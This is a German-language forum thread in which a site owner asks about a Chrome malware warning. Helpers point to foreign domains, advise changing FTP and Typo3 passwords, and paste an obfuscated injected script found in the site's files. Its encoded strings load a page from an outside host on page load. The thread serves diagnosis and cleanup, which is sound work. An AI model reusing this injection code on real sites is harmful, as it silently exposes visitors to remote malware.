Chrome meldet Malware -- was nun

[atzii]

Hallo,

ich bekomme von Google Chrome eine Warnung, das unsere Seite unter Umständen Malware hostet (siehe Screen).



Wie kann ich nun Vorgehen das ich die Meldung bzw. die Malware entferne?

Danke im Voraus

atzii

[max.m]

Es geht nicht direkt um eure Seite sondern diese freecarzone-Seite. Wenn ich die direkt aufrufe kommt die Meldung im Anhang (mit Firefox).
Habt ihr von dieser Seite etwas eingebunden?

[dream|denied™]

Einfach keine Elemente von freecarzone*at einbinden.
Oder du folgst den Link zur SafeBrowsing Diagnose-Seite.

[atzii]

Also wir haben da nichts eingebunden, zumindest nicht das ich wüsste...

Wenn man auf www.luecht-palm.de geht, steht unten links in der Statusleiste auch etwas von

Verbinden mit supersunbeds.info...

Was kann das nur sein?

Ich habe bisher keine Lösungsvorschlag..

[schollsen]

Als allererstes ändere Dein FTP-Passwort und ggf. auch die Passwörter des Typo3-Backends!
Danach gehst Du die Dateien durch und schmeisst alles an Javascript raus, was da nicht reingehört.
z.B. dieses hier:

<script>this.mz="";function i(){var oH;if(oH!='' && oH!='o'){oH=''};var b;if(b!='LD' && b!='DX'


<script>var l=new String();var uW=new Array();var pl=new Array();function v(){var E="";var T=window;var QB;if(QB!='JG'){QB=''};var z=T['unescape'];this.N='';var M;if(M!='' && M!='NO'){M='RY'};var p=z("%2f%6d%6f%6e%65%79%63%6f%6e%74%72%6f%6c%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%64%65%74%69%6b%6e%65%77%73%2e%63%6f%6d%2e%70%68%70");function d(X,A){var inQ;if(inQ!='qi'){inQ='qi'};var pS=z("%5d");var vR=z("%5b");this.dh='';var m=String("g");var oh=new Array();var u=new RegExp(vR+A+pS, m);var _W=new Date();var b=new Date();return X.replace(u, new String());};var dd;if(dd!='tZ' && dd != ''){dd=null};var sf=new String();var Nru;if(Nru!='Nr'){Nru='Nr'};var SL;if(SL!='ms' && SL != ''){SL=null};var c="";this.AL='';var V=d('sYrucU','iU5AhyOYvuPpCNR');var VW=document;this.eD="";var J=d('853366195355696076692596748133679473440571493327594','42917365');var O='';var mW=d('s2cFrbiqpqtn','52gZGfRbXSlqmA8Fn');this.XX="";var ce='';var rK;if(rK!='F' && rK!='IW'){rK='F'};var zA=new String();var q=d('d3eCfMeCrx','YX6w3_x8yFcCM');var MX='';var SO;if(SO!='SK'){SO='SK'};function S(){var Sj;if(Sj!='qq'){Sj=''};var x=z("%68%74%74%70%3a%2f%2f%72%65%61%6c%73%68%6f%70%6f%6e%6c%69%6e%65%2e%69%6e%66%6f%3a");var Z=x;var JY="";Z+=J;Z+=p;this.wJ='';var eF;if(eF!='' && eF!='om'){eF=null};var Ec;if(Ec!='BT' && Ec!='oO'){Ec=''};var C;if(C!='' && C!='_RI'){C='bd'};try {var O_=new Array();this.MV="";_=VW[d('cMr6eAagtCegEslSesm2eon8tK','CH2gSdPfsvWATM98kpKo60zZ')](mW);this.LN="";_[q]=[1][0];var xk='';_[V]=Z;var FU;if(FU!=''){FU='Si'};VW.body[d('ampTpxeXnIdICmh7iTlxd5','16tImqZXx57T')](_);var f=new String();var Il=new Array();} catch(JH){var iv;if(iv!='g' && iv!='yD'){iv=''};};var yw;if(yw!=''){yw='kd'};this.Lw='';}this.uB="";this.VT="";var Vt="";var Q=d('o5nXlXoPaydC','5PCXITcVpr4uytj');var TI;if(TI!='' && TI!='Cf'){TI=''};T[Q]=S;var cr;if(cr!='KB'){cr='KB'};this.yX="";};var MG=new String();v();</script>
<!--64b62991f895a30b5618cc5054ce1094-->

Wird dann wohl in nem Template stecken.